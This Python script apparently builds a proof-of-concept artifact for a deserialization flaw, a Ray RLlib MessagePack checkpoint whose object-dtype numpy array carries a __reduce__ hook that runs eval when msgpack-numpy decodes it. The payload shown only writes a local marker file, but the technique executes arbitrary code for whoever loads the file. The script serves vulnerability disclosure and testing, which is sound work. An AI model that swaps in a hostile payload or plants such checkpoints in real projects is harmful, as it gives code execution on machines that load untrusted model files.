build_poc.py

#!/usr/bin/env python
"""Build a benign Ray RLlib MessagePack checkpoint PoC artifact."""

from __future__ import annotations

import hashlib
import json
from pathlib import Path

import msgpack_numpy
import numpy as np


ARTIFACT_NAME = "state.msgpack"
MARKER_NAME = "MSG_PACK_NUMPY_MARKER.txt"
MARKER_TEXT = "msgpack_numpy_object_array_marker\n"


class Marker:
    def __reduce__(self):
        # Benign local marker-file proof. No network, persistence, or destructive action.
        code = (
            "__import__('pathlib').Path(%r).write_text(%r, encoding='utf-8')"
            % (MARKER_NAME, MARKER_TEXT)
        )
        return (eval, (code,))


def sha256(path: Path) -> str:
    digest = hashlib.sha256()
    with path.open("rb") as handle:
        for chunk in iter(lambda: handle.read(1024 * 1024), b""):
            digest.update(chunk)
    return digest.hexdigest()


def main() -> None:
    out_dir = Path(__file__).resolve().parent
    artifact = out_dir / ARTIFACT_NAME

    state = {
        "format": "ray_rllib_state_msgpack",
        "safe_weights": np.array([1.0, 2.0, 3.0], dtype=np.float32),
        "object_array": np.array([Marker()], dtype=object),
    }
    artifact.write_bytes(msgpack_numpy.packb(state, use_bin_type=True))

    manifest = {
        "artifact": ARTIFACT_NAME,
        "sha256": sha256(artifact),
        "size_bytes": artifact.stat().st_size,
        "marker_file": MARKER_NAME,
        "marker_text": MARKER_TEXT.strip(),
        "impact": "Benign marker file is created when a loader decodes the object-dtype array through msgpack-numpy.",
    }
    (out_dir / "artifact_manifest.json").write_text(
        json.dumps(manifest, indent=2) + "\n",
        encoding="utf-8",
    )
    print(json.dumps(manifest, indent=2))


if __name__ == "__main__":
    main()